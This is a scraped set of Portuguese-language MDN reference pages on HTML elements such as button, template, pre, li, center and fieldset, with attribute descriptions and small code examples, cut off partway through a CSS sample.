Specification |\n| --- |\n| HTML Standard # the-noscript-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"<button> - HTML: Linguagem de Marcação de Hipertexto","text":"<button>\n========\n\nSumário\n-------\n\nO **Elemento HTML *`<button>`*** representa um botão clicável.\n\n* *Categorias de conteúdo (en-US)* Conteúdo de fluxo (en-US), conteúdo fraseado (en-US), Conteúdo iterativo (en-US), listado (en-US), rotulável (en-US), e elemento enviável (en-US) associado a formulário (en-US), conteúdo palpável.\n* *Conteúdo permitido* Conteúdo fraseado (en-US).\n* *Omissão de Tag* Nenhuma, as tags de abertura e fechamento são obrigatórias.\n* *Elementos pai permitidos* Qualquer elemento que aceite conteúdo fraseado (en-US).\n* *Interface DOM* `HTMLButtonElement` (en-US)\n* *Tipo de elemento* Inline\n* \nAtributos\n---------\n\nEsse elemento inclui os atributos globais (en-US).\n\n`autofocus`\n\nEsse atributo booleano permite-o especificar que o botão possuirá o foco de entrada assim que a página carrega, a menos que o usuário sobrecreva esse comportamento digitanto um controle diferente. Apenas um elemento de um documento associado a um formulário pode ter esse atributo específico.\n\n`autocomplete` \nNon-standard\n\nO uso desse atributo em um `<button>` não está padronizado nem dentro das especificações do Firefox. Por padrão, diferente de outros navegadores, o Firefox persiste com o estado dinâmico desativado de um `<button>` nas páginas carregadas. Definir o valor desse atributo para `off` (ex: `autocomplete=\"off\"`) desabilita esse recurso. Veja Erro do Firefox 654072.\n\n`disabled`\n\nEsse atributo booleano indica que o usuário não poderá interagir com o botão. Se esse atributo não for especificado, o botão herdará a configuração do elemento que o contém, por exemplo `<fieldset>`, se não existir nenhum elemento com o atributo **disabled** definido, então o botão estará habilitado.\n\nFirefox irá, diferente de outros navegadores, por padrão, persiste com o estado dinâmico desativado de um `<button>` sob as páginas carregadas. Use o atributo `autocomplete` para controlar esse recurso.\n\n`form`\n\nO elemento de formulário que o botão está associado (é o *formulário proprietário*). O valor do atributo deve ser o atributo **id** de um elemento `<form>` (en-US) no mesmo documento. Se esse atributo não for especificado, o elemento `<button>` deve ser descendente de um elemento de formulário. Esse atributo permite que você coloque elementos `<button>` em qualquer lugar do documento, não apenas como descendente de seus elementos `<form>` (en-US).\n\n`formaction`\n\nA URI de um programa que processa a informação submetida pelo botão. Se especificado, ele sobrescreve o atributo `action` (en-US) do formulário proprietário do botão.\n\n`formenctype`\n\nSe o botão é um botão de envio, esse atributo especifica o tipo de conteúdo que é usado para enviar o formulário para o servidor; Possíveis valores são:\n\n* `application/x-www-form-urlencoded`: O valor padrão se o atributo não está especificado.\n* `multipart/form-data`: Use esse valor se você está usando um elemento `<input>` com o atributo `type` definido para o `arquivo`.\n* `text/plain`\n\nSe esse atributo fro especificado, ele sobrescreve o atributo `enctype` (en-US) do formulário proprietário do botão.\n\n`formmethod`\n\nSe o botão for um botão de envio, esse atributo especifica o método HTTP que o navegador usará para enviar o formulário. Possíveis valores são:\n\n* `post`: Os dados obtidos do formulário são incluídos em seu corpo e enviados para o servidor.\n* `get`: Os dados obtidos do formulário são anexados aos atributos URI do **formulário**, com uma '?' como separador, e o resultado URI é enviado para o servidor. Use esse método quando o formulário não possui efeitos colaterais e contém apenas caracteres ASCII.\n\nSe especificado, esse atributo sobrescreve o atributo `method` (en-US) do formulário proprietário do botão.\n\n`formnovalidate`\n\nSe o botão é um botão de envio, esse atributo Booleano especifica que o formulário não é para ser validado quando submetido. Se esse atributo for especificado, ele sobrescreve o atributo `novalidate` (en-US) do formulário proprietário do botão.\n\n`formtarget`\n\nSe o botão é um botão de envio, esse atributo é um nome ou palavra-chave indicando onde exibir a resposta que é recebida após o envio do formulário. Esse é um nome de, ou palavra-chave para, um *contexto de navegação* (por exemplo, uma aba, janela ou quadro embutido). Se esse atributo é especificado, ele sobrescreve o atributo `target` (en-US) do formulário proprietário do botão. As seguintes palavras-chaves possuem significados especiais:\n\n* `_self`: Carrega a resposta no mesmo contexto navegação como o atual. Esse valor é o padrão se o atributo não é especificado.\n* `_blank`: Carrega a resposta em um contexto de navegação sem nome.\n* `_parent`: Carrega a resposta no contexto de navegação pai do atual. Se não há nenhum pai, essa opção passa a ser o mesmo que `_self`.\n* `_top`: Carrega a resposta para o contexto de navegação no nível superior (ou seja, o contexto de navegação é um ancestral do atual e não possui nenhum pai). Se não possui nenhum pai, essa opção passa a agir da mesma forma que `_self`.\n\n`name`\n\nO nome do botão que é enviado com os dados do formulário.\n\n`type`\n\nO tipo de botão. O possíveis valores são:\n\n* `submit`: O botão envia os dados do formulário para o servidor. Esse é o padrão se o atributo não for especifidado, ou se o atributo é dinamicamente mudado para um valor vazio ou inválido.\n* `reset`: O botão restaura todos os controles para seus valores iniciais.\n* `button`: O botão não possui comportamento padrão. Ele pode ter scripts do lado do cliente associado com os eventos do elemento, no qual são acionados quando o evento ocorrer.\n\n`value`\n\nO valor inicial do botão.\n\nNotas\n-----\n\nÉ muito mais fácil estilizar elementos `<button>` do que elementos `<input>`. Você pode adicionar conteúdo HTML (como `<em>`, `<strong>`, ou até `<img>`), e usar pseudo-elementos `::after` e `::before` para executar composições complexas, enquanto `<input>` aceita apenas um atributo `value` do tipo texto.\n\nExemplo\n-------\n\n\n```html\n<button name=\"button\">Click me</button>\n```\n\n\nNote que esse botão possui CSS aplicado.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-button-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas\n-----\n\nElementos `<button>` são muito mais fáceis estilizá-los do que elementos `<input>`. Você pode adicionar dentro do conteúdo do HTML (imagine em `<em>`, `<strong>` ou mesmo `<img>`), e fazer uso do pseudo-elemento `:after` e `:before` para realizar renderizações complexas enquanto `<input>` apenas aceita um atributo com valor textual.\n\n IE7 possui um bug ao enviar um formulário com `<button type=\"submit\" name=\"myButton\" value=\"foo\">Click me</button>`, os dados POST enviados terá como resultado em `myButton=Click me` em vez de `myButton=foo`.\n IE6 possui um bug ainda pior quando enviado um formulário através de um botão por enviar TODOS os botões do formulário com o mesmo bug do IE7.\n Esse bug foi corrigido no IE8.\n\nFirefox adicionará, com propósitos de acessibilidade, uma pequena borda pontinhada e um botão focado. Essa borda será declarada por meio de CSS, no estilo do navegador, mas você pode sobrescreve-lo se necessário para adicionar seu próprio estilo de foco usando `button`::-moz-focus-inner` (en-US) { }`\n\nFirefox irá, diferente de outros navegadores, por padrão, persistir o estado dinâmico desativado de um `<button>` sob o carregamento das páginas. Definindo o valor do atributo `autocomplete` para `off` desabilita esse recurso. See Erro do Firefox 654072.\n\nFirefox <35 para Android define um padrão `background-image` (en-US) gradiente em todos os botões (see Erro do Firefox 763671). Isso pode ser desabilitado usando `background-image: none`.\n\nVeja também\n-----------\n\nOutros elementos que são usados para criar formulários: `<form>` (en-US), `<datalist>`, `<fieldset>`, `<input>`, `<label>`, `<legend>`, `<meter>`, `<optgroup>`, `<option>`, `<output>`, `<progress>`, `<select>`, `<textarea>`."}
{"title":"<template> - HTML: Linguagem de Marcação de Hipertexto","text":"<template>\n==========\n\nSumário\n-------\n\nO elemento **HTML `<template>`** é um mecanismo para encapsular um conteúdo do lado do cliente que não é renderizado quando a página é carregada, mas que pode ser instanciado posteriormente em tempo de execução usando JavaScript.\n\nPense no template como um fragmento de conteúdo, que é armazenado para um possível uso futuro no documento. Enquanto o parser processa o conteúdo do elemento **`<template>`** ao carregar a página, isso apenas garante que o conteúdo é válido; porém, o conteúdo do elemento ainda não foi renderizado.\n\n|  |  |\n| --- | --- |\n| Conteúdo de categorias | Metadata content,\n flow content,\n phrasing content, script-supporting element\n  |\n| Conteúdo Permitido | Metadata content,\n flow content, qualquer conteúdo HTML válido que é permitido para ocorrer dentro do\n `<ol>`, `<dl>`,\n `<figure>`, `<ruby>`,\n `<object>` (en-US), `<video>`,\n `<audio>`, `<table>`,\n `<colgroup>` (en-US), `<thead>` (en-US),\n `<tbody>` (en-US), `<tfoot>`,\n `<tr>` (en-US), `<fieldset>`,\n `<select>`, `<details>`\n elemento e `<menu>` (en-US) cujo tipo de atributo está\n em estado de menu de contexto.\n  |\n| Tags omitidas | None, both the starting and ending tag are mandatory. |\n| Elementos pais permitidos | `<body>`, `<frameset>` (en-US),\n `<head>` and\n `<colgroup>` (en-US) sem um atributo `span` |\n| Interface do DOM | `HTMLTemplateElement` (en-US) |\n\nAtributos\n---------\n\nEsse elemento inclui os atributos globais.\n\nHá também um atributo *content,* o qual é *read-only* e provê acesso ao conteúdo do template. A existência desse atributo *content* é frequentemente usada como um modo de determinar se o navegador do usuário suporta o element **`<template>`**.\n\nExemplo\n-------\n\nPrimeiro, nós começamos com um pedaço de HTML como exemplo:\n\n\n```html\n<table id=\"producttable\">\n  <thead>\n    <tr>\n      <td>UPC_Code</td>\n      <td>Product_Name</td>\n    </tr>\n  </thead>\n  <tbody>\n    <!-- existing data could optionally be included here -->\n  </tbody>\n</table>\n\n<template id=\"productrow\">\n  <tr>\n    <td class=\"record\"></td>\n    <td></td>\n  </tr>\n</template>\n```\n\n\nNo início, nós temos uma tabela que irá receber conteúdo inserido via Javascript. Em seguida, vem o *template*, que descreve a estrutura de um fragmento de HTML que representa uma única linha da tabela.\n\nAgora que a tabela foi criada e o *template* definido, nós usamos JavaScript para inserir linhas na tabela, cada linha é construída usando o *template* como base.\n\n\n```js\n// Teste se seu navegador suporta o template HTML checando\n// a presença do atribute content no elemento template .\nif (\"content\" in document.createElement(\"template\")) {\n  // Instancie a tabela com o HTML tbody e a row com o template\n  var t = document.querySelector(\"#productrow\"),\n    td = t.content.querySelectorAll(\"td\");\n  td[0].textContent = \"1235646565\";\n  td[1].textContent = \"Stuff\";\n\n  // Clone a nova row e insira-a na tabela\n  var tb = document.getElementsByTagName(\"tbody\");\n  var clone = document.importNode(t.content, true);\n  tb[0].appendChild(clone);\n\n  // Crie uma nova row\n  td[0].textContent = \"0384928528\";\n  td[1].textContent = \"Acme Kidney Beans\";\n\n  // Clone a nova row e insira-a na tabela\n  var clone2 = document.importNode(t.content, true);\n  tb[0].appendChild(clone2);\n} else {\n  // Ache outro modo de adicionar as rows na tabela, pois\n  // o elemento HTML template não é suportado.\n}\n```\n\n\nO resultado é a tabela original do HTML, com duas novas linhas inseridas via Javascript:\n```\n\ntable {\n  background: #000;\n}\ntable td {\n  background: #fff;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-template-element |\n\nCompatibilidade de Navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Web components: `<content>` (en-US), `<shadow>`"}
{"title":"<pre> - HTML: Linguagem de Marcação de Hipertexto","text":"<pre>\n=====\n\nResumo\n------\n\n*HTML texto preformatado* (**<pre>**) é a tag utilizada para representar texto pré-formatado. Um texto dentro desse elemento é tipicamente exibido em uma fonte não proporcional da mesma maneira em que o texto original foi disposto no arquivo. Espaços em branco são mantidos no texto da mesma forma em que este foi digitado.\n\n*Content categories (en-US)* Flow content (en-US), palpable content.\n\n* *Conteúdo permitido* Phrasing content (en-US).\n* *Tag omission* None, both the starting and ending tag are mandatory.\n* *Elementos pai permitidos* Any element that accepts flow content (en-US).\n* *interface DOM* `HTMLPreElement` (en-US)\nAtributos\n---------\n\nEsse elemento apenas inclui atributos globais.\n\nThis element only includes the global attributes (en-US).\n\n`cols` \nNon-standard\n\nContains the *preferred* count of characters that a line should have. It was a non-standard synonym of `width`. To achieve such an effect, use CSS styling instead.\n\n`width`\n\nContains the *preferred* count of characters that a line should have. Though technically still implemented, this attribute has no visual effect; to achieve such an effect, use CSS styling instead.\n\n`wrap` \nNon-standard\n\nIs a *hint* indicating how the overflow must happen. In modern browser this hint is ignored and no visual effect results in its present; to achieve such an effect, use CSS styling instead.\n\nExemplos\n--------\n\n\n```html\n<!-- Um exemplo de código css -->\n<pre>\nbody {\n  color:red;\n}\n</pre>\n```\n\n### Resultado\n```\n\nbody {\n  color:red;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-pre-element |\n\nCompatibilidade de navegador\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja mais\n---------\n\n* CSS: `white-space`, `word-break`"}
{"title":"<nobr> - HTML: Linguagem de Marcação de Hipertexto","text":"<nobr>\n======\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nSumário\n-------\n\n`O elemento HTML <nobr>` previne que um texto quebre em uma nova linha automaticamente, de forma que ele seja exibido em uma única grande linha, podendo tornar o *scroll* (horizontal) necessário. Esta tag não é padrão HTML e não deve ser usada. Como alternativa, use a propriedade CSS `white-space` como segue:\n\n\n```css\n<span style=\"white-space: nowrap\">Texto longo sem quebras de linha</span>\n```\n\nVer também\n----------\n\n* `white-space`\n* `overflow`"}
{"title":"<figcaption>: O elemento de legenda da figura - HTML: Linguagem de Marcação de Hipertexto","text":"<figcaption>: O elemento de legenda da figura\n=============================================\n\nO **Elemento HTML Figcaption** (`<figcaption>`) representa uma legenda ou uma legenda associada com uma figura ou ilustração descrita pelo resto dos dados do elemento `<figure>` que seu elemento pai.Experimente\n-----------\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo (en-US) | Nenhuma. |\n| Conteúdo permitido | Flow content (en-US). |\n| Omissão de Tag | Nenhuma, tanto a tag de início quanto a de fim são obrigatórias. |\n| Elemento Pai Permitido | Um Elemento `<figure>` |\n| Interface DOM | `HTMLElement` (en-US) |\n\nAtributos\n---------\n\nEsse elemento possui somente os atributos globais (en-US).\n\nExemplos\n--------\n\nPor favor, consulte a página `<figure>` para visualizar o exemplos do elemento `<figcaption>`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-figcaption-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O elemento `<figure>`."}
{"title":"<i> - HTML: Linguagem de Marcação de Hipertexto","text":"<i>\n===\n\nO \\*\\*elemento HTML `<i>` \\*\\*representa uma parte do texto que é destacada do restante por algum motivo, por exemplo, termos técnicos, expressões de outros idiomas ou pensamentos de personagens fictícios. Normalmente, é apresentado com o uso do tipo \"itálico\".\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo | Conteúdo de fluxo (flow content),\n conteúdo com texto (phrasing content), conteúdo palpável (palpable content).\n  |\n| Conteúdo permitido | Conteúdo com texto (phrasing content). |\n| Omissão de tag | None, both the starting and ending tag are mandatory. |\n| Pais permitidos | \n Qualquer elemento que aceite\n conteúdo com texto (phrasing content).\n  |\n| ARIA roles permitidos | Qualquer um. |\n| Interface DOM | `HTMLElement` (en-US) Up to Gecko 1.9.2 (Firefox 4)\n inclusive, Firefox implements the\n `HTMLSpanElement` interface for this element.\n  |\n\nAtributos\n---------\n\nEsse elemento inclui apenas atributos globais.\n\nExemplo\n-------\n\n\n```html\n<p>\n  A expressão em latim <i class=\"latin\">Veni, vidi, vici</i> é frequentemente\n  mencionada na música, na arte e na literatura.\n</p>\n```\n\n### Resultado\n\nA expressão em latim *Veni, vidi, vici* é frequentemente mencionada na música, na arte e na literatura.\n\nNotas\n-----\n\nNas primeiras versões das especificações HTML, a tag `<i>` era usada apenas para apresentar textos em itálico, assim como a tag `<b>` tag era usada para mostrar textos em negrito. Isso não é mais verdade, já que, atualmente, essas tags definem a semântica, e não mais aparência tipográfica. A tag `<i>` pode representar uma parte do texto com uma diferença semântica, na qual a representação tipográfica padrão é no tipo itálico. Isso significa que os navegadores continuarão a apresentar o conteúdo em itálico, mas, de acordo com o que é definido, isso não é mais requerido.\n\nUse esse elemento somente quando não existir mais nenhum outro elemento com semântica apropriada. Por exemplo:\n\n* Use `<em>` para indicar ênfase ou estresse.\n* Use `<strong>` para indicar importância.\n* Use `<mark>` para indicar relevância.\n* Use `<cite>` para citar o nome de um trabalho, tal como um livro, jogo ou música.\n* Use `<dfn>` para marcar a instância de definição de um termo .\n\nUma boa ideia é usar o atributo **class** para identificar porque esse elemento está sendo usado. Com isso, caso a apresentação precise ser alterada com o tempo, isso pode ser feito de forma seletiva utilizando as folhas de estilo.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-i-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `<em>`"}
{"title":"<bdo> - HTML: Linguagem de Marcação de Hipertexto","text":"<bdo>\n=====\n\nO \\*\\**elemento* HTML `<bdo>` \\*\\*(*bidirectional override*) é usado para substituir a direcionalidade atual do texto. Isso faz com que a direcionalidade dos personagens seja ignorada em favor da direcionalidade especificada.\n\n|  |  |\n| --- | --- |\n| Content categories (en-US) | Flow content (en-US),\n phrasing content (en-US), palpable content.\n  |\n| Permitted content | Phrasing content (en-US). |\n| Tag omission | None, both the starting and ending tag are mandatory. |\n| Permitted parents | \n Any element that accepts\n phrasing content (en-US).\n  |\n| Permitted ARIA roles | Any |\n| DOM interface | `HTMLElement` (en-US) Up to Gecko 1.9.2 (Firefox 4)\n inclusive, Firefox implements the\n `HTMLSpanElement`\n interface for this element.\n  |\n\nAtributos\n---------\n\nOs atributos desse elemento incluem os atributos globais (en-US).\n\n`dir`\n\nDireção de texto neste elemento. Os valores possíveis são:\n\n* `ltr`: Indica que o texto ficará da **Esquerda para a Direita** (**L**eft-**T**o-**R**ight).\n* `rtl`: Indica que o texto ficará da **Direita** **para a Esquerda** (**R**eft-**T**o-**L**ight).\n\nExemplos\n--------\n\n\n```html\n<!-- Muda a direção do texto -->\n<p>Este texto ficará da esquerda para a direita.</p>\n<p><bdo dir=\"rtl\">Este texto ficará da direita para a esquerda.</bdo></p>\n```\n\n### Resultado\n\nNotas\n-----\n\nA especificação HTML 4 não especificam eventos para este elemento; eles foram adicionados no XHTML. Este é provavelmente um descuido.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-bdo-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"<li> - HTML: Linguagem de Marcação de Hipertexto","text":"<li>\n====\n\nResumo\n------\n\nO ***elemento*** ***HTML* `<li>`** (ou a Lista dos Itens de um elemento HTML) é usado para representar um item que faz parte de uma lista. Este item deve estar contido em um elemento pai: uma lista ordenada (`<ol>`), uma lista desordenada (`<ul>`) , ou um menu (`<menu>` (en-US)) e representa uma única entidade dessa lista. Em menus e listas desordenadas a relação de itens é exibida, normalmente, usando pontos de marcação (as bolinhas). Em listas ordenadas eles são, comumente, mostrados com algum contador ascendente - como um número, ou letra - à sua esquerda.\n\n* *Categorias de conteúdo* Nenhuma.\n* *Conteúdo permitido* Flutuantes.\n* *Omissão de etiquetas (tags)* A etiqueta de fim pode ser omitida se esta for imediatamente seguida por um outro elemento `<li>`, ou se não houver mais conteúdo no seu elemento pai.\n* *Elementos pai permitidos* Um elemento `<ul>`, `<ol>`, ou `<menu>` (en-US). Embora seja um uso incomum, o obsoleto `<dir>` pode ser pai, também.\n* *Interface DOM* `HTMLLIElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui os atributos globais.\n\n`value`\n\nEste atributo de número inteiro indica o valor ordinal atual do item na lista, definido pelo elemento `<ol>`. O único valor possível para este atributo é um número, ainda que a lista seja exibida com algarismos romanos, ou letras. A lista de itens que virá em seguida continuará a ser numerada a partir desta posição. O atributo **value** não tem significado para listas desordenadas (`<ul>`), nem para menus (`<menu>` (en-US)).\n\n**Nota:** Este atributo, abandonado na HTML4, foi reintroduzido na HTML5.\n\n**Nota:** Antes de Gecko 9.0, os valores negativos eram, incorretamente, convertidos a 0. A partir de Gecko 9.0 todos os valores inteiros são analisados corretamente.\n\n`type` \nDeprecated\n\nA característica deste atributo é indicar o tipo de numeração:\n\n* `a`: letras minúsculas\n* `A`: letras maiúsculas\n* `i`: algarismos romanos minúsculos\n* `I`: algarismos romanos maiúsculos\n* `1`: números\n\nEste tipo substitui o utilizado pelo seu elemento pai `<ol>`, qualquer que seja.\n\n> \n> **Note:** **Nota de utilização:** Este atributo foi preterido. Em seu lugar use a propriedade CSS `list-style-type` (en-US).\n> \n> \n> \n\nExemplos\n--------\n\n\n```html\n<ol>\n  <li>primeiro item</li>\n  <li>segundo item</li>\n  <li>terceiro item</li>\n</ol>\n```\n\n\nA saída HTML acima será:\n\n1. primeiro item\n2. segundo item\n3. terceiro item\n\n\n```html\n<ul>\n  <li>primeiro item</li>\n  <li>segundo item</li>\n  <li>terceiro item</li>\n</ul>\n```\n\n\n* primeiro item\n* segundo item\n* terceiro item\n\nPara exemplos mais detalhados veja as páginas <ol> e <ul>.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-li-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros elementos HTML parentes: `<ul>`, `<li>`, `<menu>` (en-US) e o obsoleto `<dir>`;\n* Propriedades CSS que podem ser úteis, especialmente para dar um charme ao elemento`<li>`:\n    + a propriedade `list-style` (en-US), para escolher a maneira como os posicionamentos serão exibidos,\n    + contadores CSS (en-US) para controlar listas aninhadas complexas,\n    + a propriedade `margin`, para controlar a indentação dos itens da lista."}
{"title":"<big>: Elemento para deixar o texto maio - HTML: Linguagem de Marcação de Hipertexto","text":"<big>: Elemento para deixar o texto maio\n========================================\n\nThe obsolete **HTML Big Element** (**`<big>`**) renders the enclosed text at a font size one level larger than the surrounding text (`medium` becomes `large`, for example). The size is capped at the browser's maximum permitted font size.\n\n> \n> **Note:** **Usage note:** As it was purely presentational, this element has been removed in HTML5 (en-US) and shouldn't be used anymore. Instead web developers should use the CSS `font-size` property to adjust the font size.\n> \n> \n> \n\nAtributos\n---------\n\nThis element has no other attributes than the global attributes (en-US), common to all elements.\n\nExamples\n--------\n\nHere we see examples showing the use of `<big>` followed by an example showing how to accomplish the same results using modern CSS syntax instead.\n\n### Usando `<big>`\n\nEste elemento usa o comando `<big>` para aumentar o tamanho do texto. O elemento é obsoleto, porém aceitável em todos os navegadores.\n\n#### HTML\n\n\n```html\n<p>\n  Este é o primeiro texto.\n  <big>Este texto usa big para ficar com a aparência maior.</big>\n</p>\n```\n\n\n#### Resultado\n\n### Using CSS `font-size`\n\nThis example uses the CSS `font-size` property to increase the font size by one level.\n\n#### CSS\n\n\n```css\n.bigger {\n  font-size: larger;\n}\n```\n\n\n#### HTML\n\n\n```html\n<p>\n  This is the first sentence.\n  <span class=\"bigger\">This whole sentence is in bigger letters.</span>\n</p>\n```\n\n\n#### Result\n\nDOM interface\n-------------\n\nThis element implements the `HTMLElement` (en-US) interface.\n\n> \n> **Note:** **Implementation note:** Up to Gecko 1.9.2 inclusive, Firefox implements the `HTMLSpanElement` interface for this element.\n> \n> \n> \n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* CSS: `font-size`, `font` (en-US)\n* HTML: `<small>` (en-US), `<font>` (en-US), `<style>`\n* HTML 4.01 Specification: Font Styles"}
{"title":"<legend> - HTML: Linguagem de Marcação de Hipertexto","text":"<legend>\n========\n\nResumo\n------\n\nO \\*\\*Elemento HTML <legend> \\*\\*(ou *Elemento* *HTML Campo \"Legend\"*) representa um rótulo para o conteúdo do seu ancestral `<fieldset>`.\n\n* *Categorias de Conteúdo (en-US)* Nenhuma.\n* *Conteúdo permitido* Conteúdo Textual (en-US).\n* *Omissão de Tag* None, both the starting and ending tag are mandatory.\n* *Elementos ancestrais permitidos* Um `<fieldset>` cujo primeiro filho seja esse elemento <legend>\n* *Interface DOM* `HTMLLegendElement` (en-US)\nAtributos\n---------\n\nEsse elemento apenas inclui os atributos globais (en-US).\n\nExemplos\n--------\n\nVeja `<form>` (en-US) para exemplos sobre `<legend>`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-legend-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* Outros elementos relacionados a formulários: `<form>` (en-US), `<option>`, `<label>`, `<button>`, `<select>`, `<datalist>`, `<optgroup>`, `<fieldset>`, `<textarea>`, `<input>`, `<output>`, `<progress>` and `<meter>`."}
{"title":"<center>: O elemento de texto centralizado (obsoleto) - HTML: Linguagem de Marcação de Hipertexto","text":"<center>: O elemento de texto centralizado (obsoleto)\n=====================================================\n\nO elemento **Center do HTML** (**`<center>`**) se tornou obsoleto, é um elemento de nível de bloco que exibe o conteúdo em nível de bloco ou em linha centralizado horizontalmente dentro do elemento que o contém. O contêiner `<body>` geralmente está presente, mas não é necessário. Essa tag foi descontinuada no HTML 4 (e XHTML 1) em favor da propriedade CSS `text-align`, que pode ser aplicada ao elemento `<div>` ou à um paragráfo indivídual `<p>`. Para blocos de centralização, use outras propriedades CSS como `margin-left` (en-US) e `margin-right` (en-US) e defina-as como `auto` (ou defina `margin` para `0 auto`).\n\nInterface DOM\n-------------\n\nEste elemento implementa a interface `HTMLElement` (en-US).\n\n> \n> **Note:** **Nota de implementação:** até o Gecko 1.9.2 inclusive, o Firefox implementa a interface `HTMLSpanElement` para este elemento.\n> \n> \n> \n\nExemplo 1\n---------\n\n\n```html\n<center>\n  Esse texto vai ficar centralizado.\n  <p>Este parágrafo também.</p>\n</center>\n```\n\n\nO efeito da centralização vai acontecer até onde o elemento `center` for fechado.\n\nExemplo 2 (Alternativa CSS)\n---------------------------\n\n\n```html\n<div style=\"text-align:center\">\n  Esse texto vai ficar centralizado.\n  <p>Este parágrafo também.</p>\n</div>\n```\n\n\nIsso acontece por os textos que sofreram as alterações estão dentro dos elementos que foi aplicado a propriedade.\n\nExemplo 3 (Alternativa CSS)\n---------------------------\n\n\n```html\n<p style=\"text-align:center\">\n  Essa linha vai ficar centralizada.<br />\n  E esta linha também.\n</p>\n```\n\nNota\n----\n\nAplicar `text-align``:center` a um elemento `<div>` ou `<p>` centraliza o *conteúdo* desses elementos, deixando suas dimensões gerais inalteradas.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nApesar de obsoleto, o elemento é aceito em todos os navegadores do mercado.\n\nVeja também\n-----------\n\n* `text-align`\n* `display`"}
{"title":"<fieldset> - HTML: Linguagem de Marcação de Hipertexto","text":"<fieldset>\n==========\n\nO **elemento HTML `<fieldset>`** é usado para agrupar elementos, assim como labels (`<label>`), dentro de um formulário web.\n\n|  |  |\n| --- | --- |\n| Categorias de Conteúdo (en-US) | Conteúdo de fluxo (en-US),\n sectioning root, listed (en-US),\n form-associated (en-US)\n element, palpable content.\n  |\n| Conteúdo permitido | \n Um elemento `<legend>` opcional, seguido por\n conteúdo de fluxo.\n  |\n| Omissão deTag | None, both the starting and ending tag are mandatory. |\n| Elementos pai permitidos | \n Qualquer elemento que aceita\n conteúdo de fluxo (en-US).\n  |\n| Interface DOM | `HTMLFieldSetElement` (en-US) |\n\n> \n> **Note:** diferente de quase todo outro elemento, a especificação do WHATWG HTML Rendering sugere ``min-width` (en-US): min-content` como parte do padrão de estilo para `<fieldset>`, e muitos navegadores implementam tal estilização (ou algo que se aproxima disto).\n> \n> \n> \n\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n`disabled`\n\nSe este atributo Booleano está definido, os controles de formulario que são seus descendentes, exceto os descendentes de seu primeiro elemento opcional `<legend>`, estarão desativados, i.e., não editável. Eles não receberão qualquer evento de navegação, como clique do mouse ou relacionado com focus. Frequentemente os navegadores mostram tais controles em cinza.\n\n`form`\n\nEste atributo tem o valor do atributo **id** do elemento `<form>` (en-US) com que se relaciona. Seu valor padrão é o **id** do elemento `<form>` (en-US) mais próximo.\n\n`name`\n\nO nome associado com o grupo.\n\n> \n> **Note:** O label para o fieldset é dado pelo primeiro elemento `<legend>` que é um filho do fieldset.\n> \n> \n> \n\nExemplos\n--------\n\n### Example #1: Formulário com fieldset, legend, e label\n\n\n```html\n<form action=\"test.php\" method=\"post\">\n  <fieldset>\n    <legend>Title</legend>\n    <input type=\"radio\" id=\"radio\" /> <label for=\"radio\">Click me</label>\n  </fieldset>\n</form>\n```\n\n### Example #2: Simulando um editável `<select>` através de um `fieldset` de radioboxes e textboxes\\*\n\nO exemplo a seguinte é feito de puro HTML e CSS. Não contém javascript.\n\n**Esteja avisado** que leitores de tela (utilizados por cegos) e dispositivos de assistência não interpretarão o seguinte formulário corretamente; este exemplo seria um html invalido se os corretos elementos fossem usados.\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n    <title>Editable [pseudo]select</title>\n    <style type=\"text/css\">\n /\\* Generic form fields \\*/\n\n fieldset.elist,\n input[type=\"text\"],\n textarea,\n select,\n option,\n fieldset.elist ul,\n fieldset.elist > legend,\n fieldset.elist input[type=\"text\"],\n fieldset.elist > legend:after {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n }\n\n input[type=\"text\"] {\n padding: 0 20px;\n }\n\n textarea {\n width: 500px;\n height: 200px;\n padding: 20px;\n }\n\n textarea,\n input[type=\"text\"],\n fieldset.elist ul,\n select,\n fieldset.elist > legend {\n border: 2px #cccccc solid;\n border-radius: 